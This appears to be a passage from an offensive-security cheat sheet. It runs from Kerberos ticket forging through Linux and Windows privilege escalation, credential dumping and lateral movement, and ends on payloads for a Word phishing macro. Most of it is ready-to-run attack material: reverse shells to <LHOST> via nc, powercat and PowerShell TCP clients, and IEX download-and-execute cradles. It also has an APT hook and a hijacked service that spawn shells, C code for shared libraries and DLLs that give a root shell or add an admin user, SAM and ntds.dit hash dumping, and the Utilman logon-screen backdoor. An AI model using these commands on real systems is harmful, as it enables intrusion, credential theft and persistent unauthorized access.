kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>

Inject TGS with Mimikatz

kerberos::ptt <KIRBI_FILE>

Rubeus Examples

.\Rubeus.exe ptt /ticket:<KIRBI_FILE>

Execute CMD on Remote Host

.\PsExec.exe -accepteula \\<RHOST> cmd

Golden Ticket

Impacket Examples

Generate TGT with NTLM

python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>

Generate TGT with aesKey

python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>

Set TGT for Impacket Usage

export KRB5CCNAME=<USERNAME>.ccache

Execute Remote Commands by using TGT

impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass

mimikatz Examples

Generate TGT with NTLM

kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>

Generate TGT with AES 128bit Key

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>

Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)

kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>

Inject TGT with Mimikatz

kerberos::ptt <KIRBI_FILE>

Rubeus Examples

Inject Ticket with Rubeus

.\Rubeus.exe ptt /ticket:<KIRBI_FILE>

Execute CMD on Remote Host

.\PsExec.exe -accepteula \\<RHOST> cmd

Get NTLM from Password

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())'

ldapsearch

ldapsearch -x -h <RHOST> -s base namingcontexts
ldapsearch -H ldap://<RHOST> -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -H ldaps://<RHOST>:636/ -x -s base -b '' "(objectClass=*)" "*" +
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" | grep descr -A 3 -B 3
ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {print $2}'
ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "DC=<DOMAIN>,DC=<DOMAIN>" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<RHOST>,DC=local" | grep info

Linux

Basic Linux Enumeration

id
sudo -l
env
cat ~/.bashrc
cat /etc/passwd
cat /etc/hosts
cat /etc/fstab
lsblk
ls -lah /etc/cron*
crontab -l
sudo crontab -l
grep "CRON" /var/log/syslog
ss -tulpn
ps -auxf
ls -lahv
ls -R /home
ls -la /opt
dpkg -l
uname -a

Abusing Password Authentication

openssl passwd <PASSWORD>
echo "root2:FgKl.eqJO6s2g:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2

Apache2

Read first Line of a File with apache2 Binary

sudo /usr/sbin/apache2 -f <FILE>

APT

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE>

arua2c

aria2c -d /root/.ssh/ -o authorized_keys "https://<LHOST>/authorized_keys" --allow-overwrite=true

Bash Debugging Mode

Bash <4.4

env -i SHELLOPTS=xtrace PS4='$(chmod +s /bin/bash)' /usr/local/bin/<BINARY>

Bash Functions

Bash <4.2-048

function /usr/sbin/<BINARY> { /bin/bash -p; }
export -f /usr/sbin/<BINARY>
/usr/sbin/<BINARY>

Capabilities

capsh --print
/usr/sbin/getcap -r / 2>/dev/null

Credential Harvesting

grep -R db_passwd
grep -roiE "password.{20}"
grep -oiE "password.{20}" /etc/*.conf
grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$"    // grep for passwords like "DBPassword:"
watch -n 1 "ps -aux | grep pass"
sudo tcpdump -i lo -A | grep "pass"

find Commands

find / -user <USERNAME> -ls 2>/dev/null
find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
find / -group <GROUP> 2>/dev/null
find / -perm -4000 2>/dev/null | xargs ls -la
find / -type f -user root -perm -4000 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
find / -writable -type d 2>/dev/null
find / -cmin -60    // find files changed within the last 60 minutes
find / -amin -60    // find files accesses within the last 60 minutes
find ./ -type f -exec grep --color=always -i -I 'password' {} \;    // search for passwords

Kernel Exploits

searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"

LD_PRELOAD

https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

shell.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
	unsetenv("LD_PRELOAD");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

or

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

Compiling

gcc -o <SHARED_OBJECT>.so <FILE>.c -shared -FPIC -nostartfiles

Privilege Escalation

sudo LD_PRELOAD=/PATH/TO/SHARED_OBJECT/<SHARED_OBJECT>.so <BINARY>

LD_LIBRARY_PATH

Get Information about Libraries

ldd /PATH/TO/BINARY/<BINARY>

shell.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
	unsetenv("LD_LIBRARY_PATH");
	setresuid(0,0,0);
	system("/bin/bash -p");
}

Compiling

gcc -o <LIBRARY>.so.<NUMBER> -shared -fPIC <FILE>.c

Privilege Escalation

sudo LD_LIBRARY_PATH=/PATH/TO/LIBRARY/<LIBRARY>.so.<NUMBER> <BINARY>

logrotten

https://github.com/whotwagner/logrotten

if [ `id -u` -eq 0 ]; then ( /bin/sh -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1 ); fi

If "create"-option is set in logrotate.cfg

./logrotten -p ./payloadfile /tmp/log/pwnme.log

If "compress"-option is set in logrotate.cfg

./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

Path Variable Hijacking

find / -perm -u=s -type f 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
export PATH=$(pwd):$PATH

PHP7.2

/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"

rbash

Breakout using $PATH Variable

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Breakouts using less

less /etc/profile
!/bin/sh

VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v

less /etc/profile
v:shell

Breakout using scp

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
scp -S $TF x y:

Breakouts using vi

vi -c ':!/bin/sh' /dev/null

vi
:set shell=/bin/sh
:shell

Breakouts using SSH Command Execution

ssh <USERNAME>@<RHOST> -t sh
ssh <USERNAME>@<RHOST> -t /bin/sh
ssh <USERNAME>@<RHOST> -t "/bin/bash --no-profile"

relayd

The binary need to have the SUID bit set.

/usr/sbin/relayd -C /etc/shadow

Shared Library Misconfiguration

https://tbhaxor.com/exploiting-shared-library-misconfigurations/

shell.c

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}

Compiling

gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.c

Wildcards

https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

With the command touch -- --checkpoint=1 will be a file created. Why? Because the -- behind the command touch is telling touch, that there's option to be wait for. Instead of an option, it creates a file, named --checkpoint=1.

touch -- --checkpoint=1

or

touch ./--checkpoint=1

So after creating the --checkpoint=1 file, i created another file, which executes a shell script.

touch -- '--checkpoint-action=exec=sh shell.sh'

or

touch ./--checkpoint-action=exec=<FILE>

To delete a misconfigured file, put a ./ in front of it.

rm ./'--checkpoint-action=exec=python script.sh'

Writeable Directories in Linux

/dev/shm
/tmp

Microsoft Windows

Basic Microsoft Windows Enumeration

whoami /all
whoami /user
systeminfo
net accounts
net user
net user /domain
net user <USERNAME>
Get-LocalUser
Get-LocalGroup
Get LocalGroupMember <GROUP>
Get-Process
tree /f C:\Users\
tasklist /SVC
sc query
sc qc <SERVICE>
netsh firewall show state
schtasks /query /fo LIST /v
wmic qfe get Caption,Description,HotFixID,InstalledOn
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object 'Display Name', 'Start Mode', Path

Access Control

S-R-X-Y Example

Value	Info
S	SID
R	Revision (always set to 1)
X	Identifier Authority (5 is the most common one)
Y	Sub Authority

SID Table

SID	Value
S-1-0-0	Nobody
S-1-1-0	Everybody
S-1-5-11	Authenticated Users
S-1-5-18	Local System
S-1-5-domainidentifier-500	Administrator

accesschk

Checking File Permissions

.\accesschk.exe /accepteula -quvw "C:\PATH\TO\FILE\<FILE>.exe"

Checking Service Permissions

.\accesschk.exe /accepteula -uwcqv <USERNAME> daclsvc

Checking Path Permissions to find Unquoted Service Paths

.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\<UNQUOTED_SERVICE_PATH>"

Checking Registry Entries

.\accesschk.exe /accepteula -uvwqk <REGISTRY_KEY>

Show hidden Files and Folders

dir /a      // show hidden folders
dir /a:d    // show all hidden directories
dir /a:h    // show all hidden files
cmd /c dir /A      // show hidden folders
cmd /c dir /A:D    // show all hidden directories
cmd /c dir /A:H    // show all hidden files
powershell ls -force    // show all hidden files

Show installed Applications

PS C:\> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

User Handling

Adding Users to Groups

net user <USERNAME> <PASSWORD> /add /domain
net group "Exchange Windows Permissions" /add <USERNAME>
net localgroup "Remote Management Users" /add <USERNAME>

Credential Harvesting

Quick Wins

https://twitter.com/NinjaParanoid/status/1516442028963659777?t=g7ed0vt6ER8nS75qd-g0sQ&s=09

https://www.nirsoft.net/utils/credentials_file_view.html

cmdkey /list
rundll32 keymgr.dll, KRShowKeyMgr
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Search for Passwords

findstr /si password *.xml *.ini *.txt
dir .s *pass* == *.config
dir /s *pass* == *cred* == *vnc* == *.config*
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\<USERNAME>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.vbs -File -Recurse -ErrorAction SilentlyContinue

PowerShell History

Get-History
(Get-PSReadlineOption).HistorySavePath
type C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Saved Windows Credentials

cmdkey /list
runas /savecred /user:<USERNAME> cmd.exe

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Local Administrator Password Solution (LAPS)

Get-ADComputer <RHOST> -property 'ms-mcs-admpwd'

Search the Registry for Passwords

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Dumping Credentials

reg save hklm\system system
reg save hklm\sam sam
reg.exe save hklm\sam c:\temp\sam.save
reg.exe save hklm\security c:\temp\security.save
reg.exe save hklm\system c:\temp\system.save

Find KeePass Databases

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Internet Information Service (IIS)

C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

PuTTY

reg query HKEY_CURRENT_USER\Software\<USERNAME>\PuTTY\Sessions\ /f "Proxy" /s

Unattended Windows Installations

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Enable WinRM

winrm quickconfig

Enable Remote Desktop (RDP)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes

or

Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0;
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name "UserAuthentication" -Value 1;
Enable-NetFirewallRule -DisplayGroup "Remote Desktop";

Privileges and Permissions

AlwaysInstallElevated

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

msfvenom -p windows/meterpreter/reverse_tcp lhost=<LHOST> lport=<LPORT> -f msi > <FILE>.msi

msiexec /quiet /qn /i <FILE>.msi

SeBackup and SeRestore Privilege

Backup SAM and SYSTEM Hashes

reg save hklm\system C:\Users\<USERNAME>\system.hive
reg save hklm\sam C:\Users\<USERNAME>\sam.hive

Dumping Hashes

impacket-secretsdump -sam sam.hive -system system.hive LOCAL

pypykatz registry --sam sam.hive system.hive

SeBackupPrivilege Privilege Escalation (diskshadow)

https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

Script for PowerShell Environment

SET CONTEXT PERSISTENT NOWRITERSp
add volume c: alias foobarp
createp
expose %foobar% z:p

diskshadow /s <FILE>.txt

Copy ntds.dit

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ndts.dit

Export System Registry Value

reg save HKLM\SYSTEM c:\temp\system

Extract the Hashes

impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL

Alternative Way via Robocopy

reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system

set metadata C:\Windows\temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX

diskshadow /s script.txt
robocopy /b E:\Windows\ntds . ntds.dit

impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL

SeLoadDriverPrivilege

sc.exe query
$services=(get-service).name | foreach {(Get-ServiceAcl $_)  | where {$_.access.IdentityReference -match 'Server Operators'}}

sc.exe config VSS binpath="C:\temp\nc64.exe -e cmd <LHOST> <LPORT>"
sc.exe stop VSS
sc.exe start VSS

SeTakeOwnershipPrivilege

takeown /f C:\Windows\System32\Utilman.exe

icacls C:\Windows\System32\Utilman.exe /grant Everyone:F

C:\Windows\System32\> copy cmd.exe utilman.exe

Click the Ease of Access button on the logon screen to get a shell with NT Authority\System privileges.

SeImpersonate and SeAssignPrimaryToken Privilege

https://github.com/antonioCoco/RogueWinRM

.\RogueWinRM.exe -p "C:\> .\nc64.exe" -a "-e cmd.exe <LHOST> <LPORT>"

DLL Hijacking

Standard Search Order

The directory from which the application loaded.
The system directory.
The 16-bit system directory.
The Windows directory.
The current directory.
The directories that are listed in the PATH environment variable.

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
icacls .\PATH\TO\BINARY\<BINARY>.exe
Restart-Service <SERVICE>
$env:path

DLL Abuse

customdll.cpp

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
        i = system ("net user <USERNAME> <PASSWORD> /add");
        i = system ("net localgroup administrators <USERNAME> /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Compiling customdll.cpp

x86_64-w64-mingw32-gcc customdll.cpp --shared -o customdll.dll

Copy the .dll file to the desired path.

Restart-Service <SERVICE>
Get-LocalGroupMember administrators

Leveraging Windows Services

Running Services Enumeration

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Service Configuration Enumeration

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<SERVICE>'}

Permission Table

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

Permission Enumeration

icacls "C:\PATH\TO\BINARY\<BINARY>"

Permissions Abuse

adduser.c

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user <USERNAME> <PASSWORD> /add");
  i = system ("net localgroup administrators <USERNAME> /add");
  
  return 0;
}

Compiling

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Execution

net stop <SERVICE>
net start <SERVICE>

or

shutdown /r /t 0
Get-LocalGroupMember administrators

PowerView Example

powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name '<SERVICE>'

Service Execution Properties Enumeration

$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe' | Get-ModifiablePath -Literal
$ModifiableFiles
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument' | Get-ModifiablePath -Literal
$ModifiableFiles
$ModifiableFiles = echo 'C:\PATH\TO\BINARY\<BINARY>.exe argument -conf=C:\temp\path' | Get-ModifiablePath -Literal
$ModifiableFiles

Unquoted Service Paths

Search Order

C:\example.exe
C:\Program Files\example.exe
C:\Program Files\my example\example.exe
C:\Program Files\my example\my example\example.exe

Service Path Enumeration

Place a .exe file in the desired folder, then start or restart the service.

Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
Start-Service <SERVICE>
Stop-Service <SERVICE>
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\my example"
Start-Service <SERVICE>
Get-LocalGroupMember administrators

PowerView Example

powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name '<SERVICE>' -Path "C:\Program Files\my example\example.exe"
Start-Service <SERVICE>
Get-LocalGroupMember administrators

Scheduled Tasks Enumeration

Place a .exe file in the desired folder and wait for the scheduled task to get executed.

schtasks /query /fo LIST /v
icacls C:\PATH\TO\BINARY\<BINARY>.exe
Get-LocalGroupMember administrators

writeDACL

https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USERNAME>', $SecPassword)
Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -Rights DCSync

PassTheCert

https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

https://github.com/AlmondOffSec/PassTheCert/tree/main/Python

certipy-ad cert -pfx <CERTIFICATE>.pfx -nokey -out <CERTIFICATE>.crt
certipy-ad cert -pfx <CERTIFICATE>.pfx -nocert -out <CERTIFICATE>.key
python3 passthecert.py -domain '<DOMAIN>' -dc-host '<DOMAIN>' -action 'modify_user' -target '<USERNAME>' -new-pass '<PASSWORD>' -crt ./<CERTIFICATE>.crt -key ./<CERTIFICATE>.key
evil-winrm -i '<RHOST>' -u '<USERNAME>' -p '<PASSWORD>'

PKINITtools

python3 gettgtpkinit.py -cert-pfx <USERNAME>.pfx -dc-ip <RHOST> <DOMAIN>/<USERNAME> <USERNAME>.ccache
export KRB5CCNAME=<USERNAME>.ccache
python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e84981c746efa66f68a1cc3a394bbd27dceaf0554

Port Scanning

for i in $(seq 1 254); do nc -zv -w 1 <XXX.XXX.XXX>.$i <RPORT>; done

export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done

powercat

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('https://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"

Powermad

Import-Module ./Powermad.ps1
$secureString = convertto-securestring "<PASSWORD>" -asplaintext -force
New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -DomainController <DOMAIN> -Password $secureString

PowerShell

Common Commands

whoami /all
getuserid
systeminfo
Get-Process
net users
net users <USERNAME>
Get-ADUser -Filter * -SearchBase "DC=<DOMAIN>,DC=<DOMAIN>"
Get-Content <FILE>
Get-ChildItem . -Force
GCI -hidden
type <FILE> | findstr /l <STRING>
[convert]::ToBase64String((Get-Content -path "<FILE>" -Encoding byte))

Allow Script Execution

Set-ExecutionPolicy remotesigned
Set-ExecutionPolicy unrestricted

Script Execution Bypass

powershell.exe -noprofile -executionpolicy bypass -file .\<FILE>.ps1

Import Module to PowerShell cmdlet

Import-Module .\<FILE>

Check PowerShell Versions

Set-ExecutionPolicy Unrestricted
powershell -Command "$PSVersionTable.PSVersion"
powershell -c "[Environment]::Is64BitProcess"

Read PowerShell History

type C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Base64 Encoding using pwsh

pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText

Create a .zip File

Compress-Archive -LiteralPath C:\PATH\TO\FOLDER\<FOLDER> -DestinationPath C:\PATH\TO\FILE<FILE>.zip

Unzip a File

Expand-Archive -Force <FILE>.zip

Start a new Process

Start-Process -FilePath "C:\nc64.exe" -ArgumentList "<LHOST> <LPORT> -e powershell"

Invoke-Expression / Invoke-WebRequest

IEX(IWR http://<LHOST>/<FILE>.ps1)
Invoke-Expression (Invoke-WebRequest http://<LHOST/<FILE>.ps1)

.NET Reflection

$bytes = (Invoke-WebRequest "https://<LHOST>/<FILE>.exe" -UseBasicParsing ).Content
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
$entryPointMethod.Invoke($null, (, [string[]] ('find', '/<COMMAND>')))

Switching Sessions in PowerShell

$password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $password)
Enter-PSSession -ComputerName <RHOST> -Credential $cred

or

$SecurePassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<USERNAME>', $SecurePassword)
$Session = New-PSSession -Credential $Cred
Invoke-Command -Session $session -scriptblock { whoami }

or

$username = '<USERNAME>'
$password = '<PASSWORD>'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process powershell.exe -Credential $credential

powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *"

Add new Domain Administrator

$PASSWORD= ConvertTo-SecureString –AsPlainText -Force -String <PASSWORD>
New-ADUser -Name "<USERNAME>" -Description "<DESCRIPTION>" -Enabled $true -AccountPassword $PASSWORD
Add-ADGroupMember -Identity "Domain Admins" -Member <USERNAME>

Execute Commands in User Context

$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential ("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -computername <COMPUTERNAME> -ConfigurationName dc_manage -credential $cred -command {whoami}

Execute Scripts with Credentials (Reverse Shell)

$pass = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<DOMAIN>\<USERNAME>", $pass)
Invoke-Command -Computer <RHOST> -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://<LHOST>/<FILE>.ps1') } -Credential $cred

PrivescCheck

Set-ExecutionPolicy Bypass -Scope Process -Force
. .\PrivescCheck.ps1

Get-Content .\PrivescCheck.ps1 | Out-String | Invoke-Expression
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML"
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML"

pwncat

(local) pwncat$ back    // get back to shell
Ctrl+d                  // get back to pwncat shell

pwncat-cs -lp <LPORT>
(local) pwncat$ download /PATH/TO/FILE/<FILE> .
(local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>

rpcclient

rpcclient -U "" <RHOST>

dsr_getdcname
dsr_getdcnameex
dsr_getdcnameex2
dsr_getsitename
enumdata
enumdomgroups
enumdomusers
enumjobs
enumports
enumprivs
getanydcname
getdcname
lookupsids
lsaenumsid <SID>
lsaquery
netconnenum
netdiskenum
netfileenum
netsessenum
netshareenum
netshareenumall
netsharegetinfo
queryuser <USERNAME>
srvinfo

Rubeus

Common Commands

.\Rubeus.exe dump /nowrap
.\Rubeus.exe asreproast /nowrap
.\Rubeus.exe asreproast /outfile:hashes.asreproast
.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

Request a Delegation Ticket

.\Rubeus.exe tgtdeleg /nowrap

Overpass the Hash

.\Rubeus.exe kerberoast /user:<USERNAME>

Pass the Hash

.\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D122CEF162FAE8233D6A0ED73ADA2E /getcredentials

RunasCs

.\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT>
.\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT> --bypass-uac
.\RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <LHOST>:<LPORT>
.\RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Users\<USERNAME>\Downloads\<FILE>.exe'

Seatbelt

.\Seatbelt.exe -group=system
.\Seatbelt.exe -group=all
.\Seatbelt.exe -group=all -full

smbpasswd

smbpasswd -r <RHOST> -U <USERNAME>

winexe

winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe

Social Engineering Tools

Microsoft Office Word Phishing Macro

Payload

IEX(New-Object System.Net.WebClient).DownloadString("https://<LHOST>/powercat.ps1"); powercat -c <LHOST> -p <LPORT> -e powershell

or

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('https://<LHOST>/powercat.ps1'); powercat -c <LHOST> -p <LPORT> -e powershell"

or

$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Encoding

https://www.base64decode.org/

Now Base64 encode it with UTF-16LE and LF (Unix).

